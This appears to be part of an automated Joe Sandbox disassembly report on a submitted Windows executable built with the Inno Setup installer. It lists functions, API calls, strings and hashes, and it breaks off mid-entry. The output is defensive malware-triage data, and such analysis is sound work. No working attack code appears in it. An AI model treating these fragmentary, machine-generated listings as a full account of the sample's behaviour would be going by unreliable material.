Instruction Fuzzy Hash: 0B925234A0424CDFDB11DFA9C485BDDBBB5AF05308F1480ABE848A7392D778AE45CB59

Function 0042E09C Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 178
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32(00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0D6
GetVersion.KERNEL32(00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0F3
GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E10C
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042E112
CheckTokenMembership.KERNELBASE(00000000,00000000,?,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E127
FreeSid.ADVAPI32(00000000,0042E287,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E27A

Strings

1{I, xrefs: 0042E1A6, 0042E1D6, 0042E1E1, 0042E1E5, 0042E1A9, 0042E1E4, 0042E1E8
CheckTokenMembership, xrefs: 0042E102
advapi32.dll, xrefs: 0042E107

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressAllocateCheckFreeHandleInitializeMembershipModuleProcTokenVersion
String ID: 1{I$CheckTokenMembership$advapi32.dll
API String ID: 2252812187-4020693264
Opcode ID: 99385c8667cd0eb2f7e8a761a457fbfbdd7e71a8091fdfbf45cde5befae85eff
Instruction ID: e5677345bf142a8b1d9111380f95962c8bb8cf61ba8e960ca5c3fd0f127139eb
Opcode Fuzzy Hash: 99385c8667cd0eb2f7e8a761a457fbfbdd7e71a8091fdfbf45cde5befae85eff
Instruction Fuzzy Hash: E351A271B44215EEEB10EAE69C42BBF77ACEB09704F9404BBB901F7281D57C99018B79

Function 004502C0 Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 45
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00480636), ref: 004502D3
LoadLibraryA.KERNEL32(Rstrtmgr.dll,00480636), ref: 004502EB
GetProcAddress.KERNEL32(6F7F0000,RmStartSession), ref: 00450309
GetProcAddress.KERNEL32(6F7F0000,RmRegisterResources), ref: 0045031E
GetProcAddress.KERNEL32(6F7F0000,RmGetList), ref: 00450333
GetProcAddress.KERNEL32(6F7F0000,RmShutdown), ref: 00450348
GetProcAddress.KERNEL32(6F7F0000,RmRestart), ref: 0045035D
GetProcAddress.KERNEL32(6F7F0000,RmEndSession), ref: 00450372

Strings

RmRestart, xrefs: 00450352
Rstrtmgr.dll, xrefs: 004502E6
RmShutdown, xrefs: 0045033D
RmStartSession, xrefs: 004502FE
RmRegisterResources, xrefs: 00450313
RmGetList, xrefs: 00450328
RmEndSession, xrefs: 00450367

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: RmEndSession$RmGetList$RmRegisterResources$RmRestart$RmShutdown$RmStartSession$Rstrtmgr.dll
API String ID: 1968650500-3419246398
Opcode ID: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
Instruction ID: c77cef2ad5653e61b65a4477cbb73d0d56cf7b8a9d174f96be3e9b6947252677
Opcode Fuzzy Hash: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
Instruction Fuzzy Hash: B211F7B4510301DBD710FB61BF45A2E36E9E728315B08063FE804961A2CB7C4844CF8C

Function 00423C0C Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9e250b99cf182ccbef41989ebe76349b30642d984367dffe3cd9cb4059d0181
Instruction ID: afb4f91cf4018cf9acc1c9974f14325182323c15c0e0405bd0f9b005e596376e
Opcode Fuzzy Hash: b9e250b99cf182ccbef41989ebe76349b30642d984367dffe3cd9cb4059d0181
Instruction Fuzzy Hash: 03E1AE31700124EFDB04DF69E989AADB7B5FB54300FA440AAE5559B352C73CEE81DB09

Function 00467218 Relevance: 13.9, APIs: 4, Strings: 3, Instructions: 1649windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0049543C: GetWindowRect.USER32(00000000), ref: 00495452

LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 004675E7

Part of subcall function 0041D6B0: GetObjectA.GDI32(?,00000018,00467601), ref: 0041D6DB

Part of subcall function 00466FF4: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467097
Part of subcall function 00466FF4: ExtractIconA.SHELL32(00400000,00000000,?), ref: 004670BD
Part of subcall function 00466FF4: ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 00467114

Part of subcall function 004669B4: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,0046769C,00000000,00000000,00000000,0000000C,00000000), ref: 004669CC

Part of subcall function 004956C0: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 004956CA

Part of subcall function 0042ED38: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8
Part of subcall function 0042ED38: SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5

Part of subcall function 0049538C: GetDC.USER32(00000000), ref: 004953AE
Part of subcall function 0049538C: SelectObject.GDI32(?,00000000), ref: 004953D4
Part of subcall function 0049538C: ReleaseDC.USER32(00000000,?), ref: 00495425

Part of subcall function 004956B0: MulDiv.KERNEL32(0000004B,?,00000006), ref: 004956BA

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,020CFA98,020D17F8,?,?,020D1828,?,?,020D1878,?), ref: 00468271
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00468282
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 0046829A

Part of subcall function 0042A05C: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 0042A072

Strings

, xrefs: 004676A9
(Default), xrefs: 00468883
STOPIMAGE, xrefs: 004675DC

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Menu$AppendExtractIconObject$AddressAutoBitmapCallbackCompleteDispatcherFileInfoLoadMessageProcRectReleaseSelectSendSystemUserWindow
String ID: $(Default)$STOPIMAGE
API String ID: 3231140908-770201673
Opcode ID: d8aa18b457e06c76cf1710bd301156fff42577b8956d306d2f0c8863d05d0704
Instruction ID: 95164e1e617b107b44698f642e4cc1154f551ad52f4085116ed94e07ec8bca55
Opcode Fuzzy Hash: d8aa18b457e06c76cf1710bd301156fff42577b8956d306d2f0c8863d05d0704
Instruction Fuzzy Hash: BEF2C6786005148FCB00EB59D9D9F9973F1BF49304F1542BAE9049B36ADB74EC4ACB8A

Function 00474DFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00474F66,?,?,0049C1DC,00000000), ref: 00474E55
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,00474F66,?,?,0049C1DC,00000000), ref: 00474F32
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,00474F66,?,?,0049C1DC,00000000), ref: 00474F40

Strings

unins, xrefs: 00474EA8
unins???.*, xrefs: 00474E3F

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: 5e576b03208d2e259677c02318acd6f2ad4d278db2359f1cb77b12eb5b061527
Instruction ID: 31c653d7bd6b2cf4ad5ba67a359891eda5ad6ed959604e3cb46055c530bb22dc
Opcode Fuzzy Hash: 5e576b03208d2e259677c02318acd6f2ad4d278db2359f1cb77b12eb5b061527
Instruction Fuzzy Hash: 2A313370A001089FCB10EF65D991ADEB7A9DF85318F51C4B6F80CA76A2DB389F418B58

Function 00452A60 Relevance: 3.0, APIs: 2, Instructions: 45fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452A9D
GetLastError.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452AA5

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
Instruction ID: 3e58272229af866f17ac5928e9872a720c3be2d4903e778e839a846eb7d55d53
Opcode Fuzzy Hash: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
Instruction Fuzzy Hash: 94F0F971A04604AB8B10EF669D4149EF7ACEB8672571046BBFC14E3282DAB84E0485A8

Function 0046DF58 Relevance: 3.0, APIs: 2, Instructions: 28comCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,0046DFEE), ref: 0046DF62
CoCreateInstance.OLE32(00499B84,00000000,00000001,00499B94,?,?,0046DFEE), ref: 0046DF7E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CreateInstanceVersion
String ID:
API String ID: 1462612201-0
Opcode ID: 590230f93a95ca5811c62fe34acfb8e2c0307c22a832fa8ed403bfd539588e2d
Instruction ID: 3442edb0ea1fabc64a92ad6c3e34ff78e3c28f6093e8310d9e86ee8e53d0260d
Opcode Fuzzy Hash: 590230f93a95ca5811c62fe34acfb8e2c0307c22a832fa8ed403bfd539588e2d
Instruction Fuzzy Hash: 4EF0A031B85200DEEB14A7A9DC45B463BD4BB24328F04007BF0448B295E3AC9850861F

Function 00408568 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
Instruction ID: 8daab3ef8e56b0da8b8c23f45c5b5388ad46b50bd825570c2d348c61856efc62
Opcode Fuzzy Hash: 64da881718ef9bfb5c3691e8182369eeaf442f2681d4624e7b5adc518b999176
Instruction Fuzzy Hash: BFE0223170021466C311AA2A9C86AEAB34C9758310F00427FB904E73C2EDB89E4042A8

Function 00423B84 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,00424151,?,00000000,0042415C), ref: 00423BAE

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
Instruction ID: a748582893d7571d6ac8bdbe819d0a8fbf5f36db2d3505b6f19a51c7a0bbae16
Opcode Fuzzy Hash: 03c86555d74cd6010afd77b9e61a524e96c156e733cd5bd8e2feacc4387cef90
Instruction Fuzzy Hash: 47F0B979205608AF8B40DF99C588D4ABBE8AB4C260B058195B988CB321C234ED808F90

Function 0045559C Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 004555B2

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
Instruction ID: 9f318ec9847dd9a6abcb639c8bc611599857aea0b867fcad4bfaeec6bdb042bf
Opcode Fuzzy Hash: 969018677e36c7ee3cac7a31a88a81c68082f6a067fe28717e4d5eb0c099a74a
Instruction Fuzzy Hash: 8FD0C27230470473CB00AA689C825AA35CD8B84305F00483E3CC5DA2C3FABDDA485756

Function 0042F520 Relevance: 1.5, APIs: 1, Instructions: 17nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0042F53C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
Instruction ID: 7ca9c19e24a5def9c493c34941f9da96f9ca037215ec7a65a90973bf7a04e639
Opcode Fuzzy Hash: 9e43cbcd657a147b44e82c26281af1c584f356d37a2e763e4ec43db1fd6d4cd6
Instruction Fuzzy Hash: FCD09E7120011D7B9B00DE99E840D6B33AD9B88710B909925F945D7642D634ED9197A5

Function 0046EECC Relevance: 72.2, APIs: 1, Strings: 40, Instructions: 500
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0046ECB8: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,00475FFE,?,0049C1DC,?,0046EFCF,?,00000000,0046F56A,?,_is1), ref: 0046ECDB

Part of subcall function 0046ED28: RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F3A6,?,?,00000000,0046F56A,?,_is1,?), ref: 0046ED3B

RegCloseKey.ADVAPI32(?,0046F571,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,0046F5BC,?,?,0049C1DC,00000000), ref: 0046F564

Strings

HelpLink, xrefs: 0046F2EC
NoModify, xrefs: 0046F394
Inno Setup: Deselected Tasks, xrefs: 0046F102
Inno Setup: Setup Version, xrefs: 0046EFBD
DisplayVersion, xrefs: 0046F278
Inno Setup: Icon Group, xrefs: 0046F021
Inno Setup: User Info: Organization, xrefs: 0046F12F
Inno Setup: No Icons, xrefs: 0046F03F
RegisterPreviousData, xrefs: 0046F51A
URLUpdateInfo, xrefs: 0046F309
DisplayName, xrefs: 0046F1CA
InstallLocation, xrefs: 0046F012
MajorVersion, xrefs: 0046F3F3
DisplayIcon, xrefs: 0046F1E7
Inno Setup: User, xrefs: 0046F05E
URLInfoAbout, xrefs: 0046F2B2
Publisher, xrefs: 0046F295
ModifyPath, xrefs: 0046F380
Inno Setup: Deselected Components, xrefs: 0046F0BB
InstallDate, xrefs: 0046F3C7
HelpTelephone, xrefs: 0046F2CF
Inno Setup: Selected Components, xrefs: 0046F09C
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 0046EF22
NoRepair, xrefs: 0046F3A8
EstimatedSize, xrefs: 0046F4E1
Inno Setup: Setup Type, xrefs: 0046F07D
Inno Setup: Selected Tasks, xrefs: 0046F0E3
" /SILENT, xrefs: 0046F24E
UninstallString, xrefs: 0046F221
5.5.2 (a), xrefs: 0046EFC2
Readme, xrefs: 0046F326
Inno Setup: App Path, xrefs: 0046EFF2
Comments, xrefs: 0046F360
_is1, xrefs: 0046EF28
QuietUninstallString, xrefs: 0046F25B
Inno Setup: Language, xrefs: 0046F16B
Inno Setup: User Info: Name, xrefs: 0046F11A
Contact, xrefs: 0046F343
MinorVersion, xrefs: 0046F405
Inno Setup: User Info: Serial, xrefs: 0046F144

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Value$Close
String ID: " /SILENT$5.5.2 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$EstimatedSize$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: Language$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3391052094-2734025597
Opcode ID: 4b47327b70ee27fc59f023ce9095d4925cbd7ad973a1f437070c8b1580be5bb7
Instruction ID: 41df9594f94a3a106a445eb875b77748a5d5020e54387338891d7450c5044d2a
Opcode Fuzzy Hash: 4b47327b70ee27fc59f023ce9095d4925cbd7ad973a1f437070c8b1580be5bb7
Instruction Fuzzy Hash: CF123335A00109AFDB04EF55E981ADE73F5EB48304F60847BE840AB396EB78AD45CB5D

Function 004923A8 Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,00000000,0049289D,?,?,?,?,00000000,00000000,00000000), ref: 004923E8
FindWindowA.USER32(00000000,00000000), ref: 00492419

Strings

LOADDLL, xrefs: 004926AB
SENDMESSAGE, xrefs: 0049246D
SENDBROADCASTNOTIFYMESSAGE, xrefs: 00492657
CALLDLLPROC, xrefs: 0049270D
FREEDLL, xrefs: 00492794
POSTMESSAGE, xrefs: 004924C3
FINDWINDOWBYCLASSNAME, xrefs: 004923F5
FINDWINDOWBYWINDOWNAME, xrefs: 00492431
REGISTERWINDOWMESSAGE, xrefs: 0049257B
POSTBROADCASTMESSAGE, xrefs: 00492603
OEMTOCHARBUFF, xrefs: 004927FB
CHARTOOEMBUFF, xrefs: 0049283E
SLEEP, xrefs: 004923D2
SENDNOTIFYMESSAGE, xrefs: 0049251F
CREATEMUTEX, xrefs: 004927C9
SENDBROADCASTMESSAGE, xrefs: 004925B5

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: fc65408302e00bfaa9df3cfa690acb5bb30b22ebaabf7b5c0919dab2d319a526
Instruction ID: 9f3505894e5a6fd9d1366d4270c7319e33b1617852d99992837f934410b553a1
Opcode Fuzzy Hash: fc65408302e00bfaa9df3cfa690acb5bb30b22ebaabf7b5c0919dab2d319a526
Instruction Fuzzy Hash: 0CC182A0B042413BDB14FF3E9D4151F59A99B94708B118A3FB446EB38BCE7DED0A4399

Function 00483560 Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483571
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0048357E
GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0048358C
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483594
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 004835A0
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 004835C1
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 004835D4
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 004835DA
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 004835F1

Strings

IsWow64Process, xrefs: 0048358E
GetNativeSystemInfo, xrefs: 00483578
advapi32.dll, xrefs: 004835CF
kernel32.dll, xrefs: 0048356C
RegDeleteKeyExA, xrefs: 004835CA
GetSystemWow64DirectoryA, xrefs: 004835BB

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
